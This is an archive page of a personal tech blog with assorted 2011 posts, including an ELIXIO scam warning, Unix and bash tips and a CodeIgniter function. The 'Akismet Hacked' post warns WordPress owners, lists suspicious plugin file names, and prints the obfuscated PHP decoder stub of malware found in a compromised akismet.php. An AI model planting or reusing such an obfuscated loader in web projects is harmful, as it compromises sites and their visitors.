Monthly Archives: August 2011

ELIXIO Scam

You may get an email from ELIXIO – like the one below. Don’t reply to the e-mail. Just mark it as SPAM. Leave a comment below if you, too, are a target of this unsolicited e-mail. ELIXIO is a scam, and here are the reasons you should not trust Elixio: The host that “elixio.net” is on is a $10/month shared web host. Can’t be that big a social network. Elixio does not use SSL for signups / sign in Their e-mails do not use a certified mailer such a constant contact or vertical response. They don’t have a trusted opt-out link. If you do sign up they only allow an alphanumeric password – no symbols? This is poor programming and a lack concern of security. You have been invited to apply for ELIXIO membership. ELIXIO is a private, exclusive and invitation-only online community, social events and information exchange network. ELIXIO members are influential leaders in the financial, fashion and luxury industries as well as academic and social leaders. To join, please enter your invitation code using the link below. BELOW IS YOUR INVITATION CODE WE HAVE SENT IN OUR PREVIOUS EMAIL: invitation code: 1yduebe To complete your membership application please follow the link below to our membership application form. http://www.elixio.net/signup.php Sincerely, ELIXIO Membership Team NYC/Miami/Boston/Los Angeles/London/Paris/Milan/Dubai If you no longer wish to receive these emails, please reply to this message with “Unsubscribe” in the subject line. ELIXIO Screenshots If you do sign up for ELIXIO you’ll experience the following screens. … Continue reading

Posted in Marketing, Random | Tagged , , | 3 Comments

Akismet Hacked

If your WordPress site has been compromised, try checking out your Akismet plugin. It’s so commonly used that its often subject to attacks. If any of these files are showing up in your plugins folder, you may be the subject of an attack: .akismet.cache.php .akismet.bak.php .akismet.old.php class-akismet.php db-akismet.php One akismet.php file that I found started out something like this: <?php if (!function_exists(“TC9A16C47DA8EEE87”)) { function TC9A16C47DA8EEE87($T059EC46CFE335260) { $T059EC46CFE335260 = base64_decode($T059EC46CFE335260); $TC9A16C47DA8EEE87 = 0; $TA7FB8B0A1C0E2E9E = 0; $T17D35BB9DF7A47E4 = 0; $T65CE9F6823D588A7 = (ord($T059EC46CFE335260[1]) << 8) + ord($T059EC46CFE335260[2]); $TBF14159DC7D007D3 = 3; $T77605D5F26DD5248 = 0; $T4A747C3263CA7A55 = 16; $T7C7E72B89B83E235 = “”; $T0D47BDF6FD9DDE2E = strlen($T059EC46CFE335260); $T43D5686285035C13 = __FILE__; $T43D5686285035C13 = file_get_contents($T43D5686285035C13); $T6BBC58A3B5B11DC4 = 0; preg_match(base64_decode(“LyhwcmludHxzcHJpbnR8ZWNobykv”), $T43D5686285035C13, $T6BBC58A3B5B11DC4); for (;$TBF14159DC7D007D3 < $T0D47BDF6FD9DDE2E;) { if (count($T6BBC58A3B5B11DC4)) exit; if ($T4A747C3263CA7A55 == 0) { $T65CE9F6823D588A7 = (ord($T059EC46CFE335260[$TBF14159DC7D007D3++]) << 8); $T65CE9F6823D588A7+= ord($T059EC46CFE335260[$TBF14159DC7D007D3++]); $T4A747C3263CA7A55 = 16; } if ($T65CE9F6823D588A7 & 0x8000) { $TC9A16C47DA8EEE87 = (ord($T059EC46CFE335260[$TBF14159DC7D007D3++]) << 4); $TC9A16C47DA8EEE87+= (ord($T059EC46CFE335260[$TBF14159DC7D007D3]) >> 4); if ($TC9A16C47DA8EEE87) { $TA7FB8B0A1C0E2E9E = (ord($T059EC46CFE335260[$TBF14159DC7D007D3++]) & 0x0F) + 3; for ($T17D35BB9DF7A47E4 = 0;$T17D35BB9DF7A47E4 < $TA7FB8B0A1C0E2E9E;$T17D35BB9DF7A47E4++) $T7C7E72B89B83E235[$T77605D5F26DD5248 + $T17D35BB9DF7A47E4] = $T7C7E72B89B83E235[$T77605D5F26DD5248 – $TC9A16C47DA8EEE87 + $T17D35BB9DF7A47E4]; $T77605D5F26DD5248+= $TA7FB8B0A1C0E2E9E; } else { $TA7FB8B0A1C0E2E9E = (ord($T059EC46CFE335260[$TBF14159DC7D007D3++]) << 8); $TA7FB8B0A1C0E2E9E+= ord($T059EC46CFE335260[$TBF14159DC7D007D3++]) + 16; for ($T17D35BB9DF7A47E4 = 0;$T17D35BB9DF7A47E4 < $TA7FB8B0A1C0E2E9E;$T7C7E72B89B83E235[$T77605D5F26DD5248 + $T17D35BB9DF7A47E4++] = $T059EC46CFE335260[$TBF14159DC7D007D3]); $TBF14159DC7D007D3++; $T77605D5F26DD5248+= $TA7FB8B0A1C0E2E9E; } } else $T7C7E72B89B83E235[$T77605D5F26DD5248++] = $T059EC46CFE335260[$TBF14159DC7D007D3++]; $T65CE9F6823D588A7 <<= 1; $T4A747C3263CA7A55–; if ($TBF14159DC7D007D3 == $T0D47BDF6FD9DDE2E) { $T43D5686285035C13 = implode(“”, $T7C7E72B89B83E235); $T43D5686285035C13 = “?” . “>” . $T43D5686285035C13; return $T43D5686285035C13; } } } }; ?> If you want the PHP code, which is obfuscated, for the akismet.php file I came … Continue reading

Posted in Security, Web Development | Tagged , , , | 1 Comment

Unix: Change To Last Directory

If you’re wondering, can I: in unix, change to last directory in unix, cd to last used directory in unix change to most recent directory Well, cd – will switch you to the previous directory. For example, if you are in /usr/bin/tmp, and go to /etc, you can type cd – to go back to /usr/bin/tmp. You can use this to toggle back and forth between two directories. cd dir (without a /) will put you in a subdirectory. for example, if you are in /usr, typing cd bin will put you in /usr/bin, while cd /bin puts you in /bin. cd .. will move you up one directory. So, if you are /usr/bin/tmp, cd .. moves you to /usr/bin, while cd ../.. moves you to /usr (i.e. up two levels). You can use this indirection to access subdirectories too. So, from /usr/bin/tmp, you can use cd ../../local to go to /usr/local. cd by itself or cd ~ will always put you in your home directory. cd ~username will put you in username’s home directory.

Posted in Tech Tips | Tagged , | Leave a comment

Twitter Support: Something is technically wrong.

I was just trying to submit a support request but I keep getting an error 500 with the message – Twitter Support: Something is technically wrong.

Posted in Social Media | Tagged | 1 Comment

Facebook: Account Temporarily Unavailable

As of this morning it looks like Facebook is experiencing a network wide problem. Facebook is broken. The message it is giving is “Account Temporarily Unavailable” Facebook also says “Your account is currently unavailable due to a site issue. We expect this to be resolved shortly. Please try again in a few minutes.”

Posted in Social Media, Web Development | Tagged , , | Leave a comment

How Do You Right Click With The Mac Pad?

either use two fingers or tap it in the corner or hold down the command key and click You can change that behavior in system preferences. use spotlight (top right) magnifying glass to find it.

Posted in Mac, Tech Tips | Tagged , , | Leave a comment

phpMyAdmin plugins / extensions

I recently was trying to add some functionality to phpMyAdmin – like have some of the fields set to UTF or INT by default. This could be accomplished with a little javascript, but I didn’t just want to go hacking away at the core. Logically there should be a way to add a plugin, but i don’t think there is any documentation on it. I did find this, which has no replies: hi everybody, i’ve read here and there that phpMyAdmin can be extended developing some plugin. e.g. i’ve found this webpage: http://wiki.phpmyadmin.net/pma/Development with the import and export plugin documentation. unfortunately, that documentation was not so clear about how writing a plugin. could you, please, point me to some reference? a web site, a book… whatever you found useful for plugin development… thanks in advance francesco So how about a link to writing a plugin or extension for phpMyAdmin? Does anyone have any good resources?

Posted in Web Development | Tagged , , , | 2 Comments

PHP Auto Generate Status Header: function

PHP Function to Auto Generate Status Header This is from the CodeIgnitor Common Functions Library. It is very useful: // ———————————————————————— /** * Set HTTP Status Header * * @access public * @param int the status code * @param string * @return void */ if ( ! function_exists(‘set_status_header’)) { function set_status_header($code = 200, $text = ”) { $stati = array( 200 => ‘OK’, 201 => ‘Created’, 202 => ‘Accepted’, 203 => ‘Non-Authoritative Information’, 204 => ‘No Content’, 205 => ‘Reset Content’, 206 => ‘Partial Content’, 300 => ‘Multiple Choices’, 301 => ‘Moved Permanently’, 302 => ‘Found’, 304 => ‘Not Modified’, 305 => ‘Use Proxy’, 307 => ‘Temporary Redirect’, 400 => ‘Bad Request’, 401 => ‘Unauthorized’, 403 => ‘Forbidden’, 404 => ‘Not Found’, 405 => ‘Method Not Allowed’, 406 => ‘Not Acceptable’, 407 => ‘Proxy Authentication Required’, 408 => ‘Request Timeout’, 409 => ‘Conflict’, 410 => ‘Gone’, 411 => ‘Length Required’, 412 => ‘Precondition Failed’, 413 => ‘Request Entity Too Large’, 414 => ‘Request-URI Too Long’, 415 => ‘Unsupported Media Type’, 416 => ‘Requested Range Not Satisfiable’, 417 => ‘Expectation Failed’, 500 => ‘Internal Server Error’, 501 => ‘Not Implemented’, 502 => ‘Bad Gateway’, 503 => ‘Service Unavailable’, 504 => ‘Gateway Timeout’, 505 => ‘HTTP Version Not Supported’ ); if ($code == ” OR ! is_numeric($code)) { show_error(‘Status codes must be numeric’, 500); } if (isset($stati[$code]) AND $text == ”) { $text = $stati[$code]; } if ($text == ”) { show_error(‘No status text available. Please check your status code number or … Continue reading

Posted in Web Development | Tagged , , , , | Leave a comment

bash: send last command to quicksilver

In your /Users/user/.profile add the following: export HISTCONTROL=erasedups:ignorespace alias cpc=” history | cut -c 8- | tail -n 2 | head -n 1 | qs” The first line prevents duplicate commands in the bash history, and also keeps any commands starting with a space from showing up in history. The second line sets an alias of “cpc” which will get the second to last command (cpc being the “last” command), and sends it to quicksilver. Now, launch a new terminal window and type a command, like “ll -l”, and then type “cpc” and quicksilver should pop up with “ll -l” in the first pane. I find this most useful when I’ve just executed a long or complicated command and want to easily grab it, either to save it or modify it.

Posted in Mac | Tagged , , , , | 1 Comment

I have discovered a truly marvelous proof of this theorem, which this doodle is too small to contain.

Google Says: I have discovered a truly marvelous proof of this theorem, which this doodle is too small to contain. This is in honor of Pierre de Fermat, who said: “I have discovered a truly marvelous proof of this, which this margin is too narrow to contain.” The full sentence of what de Fermat actually said was, “it is impossible to separate a cube into two cubes, or a fourth power into two fourth powers, or in general, any power higher than the second, into two like powers. I have discovered a truly marvelous proof of this, which this margin is too narrow to contain.”

Posted in Marketing, Random | Tagged | 1 Comment